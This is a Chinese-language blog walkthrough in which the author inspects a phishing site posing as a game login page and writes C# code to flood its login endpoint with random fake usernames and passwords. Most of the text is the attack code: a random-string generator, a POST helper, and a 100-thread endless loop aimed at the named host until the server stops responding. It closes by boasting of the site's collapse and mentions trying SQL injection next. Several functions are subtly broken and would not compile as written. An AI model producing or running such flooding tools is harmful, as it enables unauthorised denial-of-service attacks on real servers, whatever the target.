很好,函数没有加密,我们来一步步分析这个函数吧

主要账号密码信息被封装成这个请求了
然后根据请求返回值来判断
这里如果请求返回值是2,那么他就跳转到下一级页面

我们随便写几个数字来申请一下,可以看到,服务器还要有校验的
passport=123456789&password=55555555&zone=%E5%8F%8C%E7%BA%BF%E4%BA%8C%E5%8C%BA&flag=0
并且都是明文的

我们尝试模拟发个假消息看看
我们可以看到,他的返回值split第一个结果是2,表示跳转页面了

我们先生成一个随机字符串生成函数
using System;
using Microsoft.VisualBasic;
static class Module1
{
public static void Main()
{
for (var i = 0; i <= 100; i++)
Console.WriteLine(GetRndString(10));
Console.Read();
}
public static string GetRndString(long lngNum)
{
if (lngNum <= 0)
return;
long i;
int intLength;
const var STRINGSOURCE = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
intLength = Strings.Len(STRINGSOURCE) - 1;
VBMath.Randomize();
for (i = 1; i <= lngNum; i++)
GetRndString = GetRndString + Strings.Mid(STRINGSOURCE, Conversion.Int(VBMath.Rnd() * intLength + 1), 1);
}
}

然后这个通用的POST请求函数
public static string PostData(string url, string data)
{
ServicePointManager.Expect100Continue = false;
HttpWebRequest request = WebRequest.Create(url);
// //Post请求方式
request.Method = "POST";
// 内容类型
request.ContentType = "application/x-www-form-urlencoded";
// 将URL编码后的字符串转化为字节
UTF8Encoding encoding = new UTF8Encoding();
byte[] bys = encoding.GetBytes(data);
// 设置请求的 ContentLength
request.ContentLength = bys.Length;
// 获得请 求流
Stream newStream = request.GetRequestStream();
newStream.Write(bys, 0, bys.Length);
newStream.Close();
// 获得响应流
StreamReader sr = new StreamReader(request.GetResponse().GetResponseStream);
return sr.ReadToEnd();
}

然后疯狂的调用函数来发送垃圾数据请求,不一会,他那边估计就塞满了垃圾数据
public void Main()
{
for (var i = 0; i <= 100; i++)
Console.WriteLine("提交垃圾数据{0}次成功,结果:" + PostData("http://jx3.xoyo.jicr.pw/login_do.asp", string.Format("passport={0}&password={1}&zone=%E5%8F%8C%E7%BA%BF%E4%BA%8C%E5%8C%BA&flag=1", GetRndString(10), GetRndString(10))), i);
Console.Read();
}

不一会,就发送了50个垃圾假账号密码了,我们接着搞下一个页面

接下来,我们来构建100个线程,疯狂的发送请求

class SurroundingClass
{
public System.Threading.Thread[] xc = new System.Threading.Thread[101];
public void Main()
{
for (var i = 0; i <= 100; i++)
{
xc[i] = new Thread(tijiao);
xc[i].Start(i);
}
Console.Read();
}
public void tijiao(object i)
{
do
Console.WriteLine("线程{0}提交成功,结果:" + PostData("http://jx3.xoyo.jicr.pw/login_do.asp", string.Format("passport={0}&password={1}&zone=%E5%8F%8C%E7%BA%BF%E4%BA%8C%E5%8C%BA&flag=1", GetRndString(10), GetRndString(10))), i);
while (true);
}
}

可以看到,骗子的服务器处理请求还是比较慢的,难道是易语言写的??
1秒只能处理5次请求差不多了...可能插库逻辑写的比较复杂 ??
我可以明显的感觉到骗子的网站慢慢的开始瘫痪了,接下去我们试试SQL注入看看

骗子的服务器快瘫痪了,抛出了The operation has timed out异常

骗子的网站已经打不开了,骗子关闭了服务器,骗子认怂了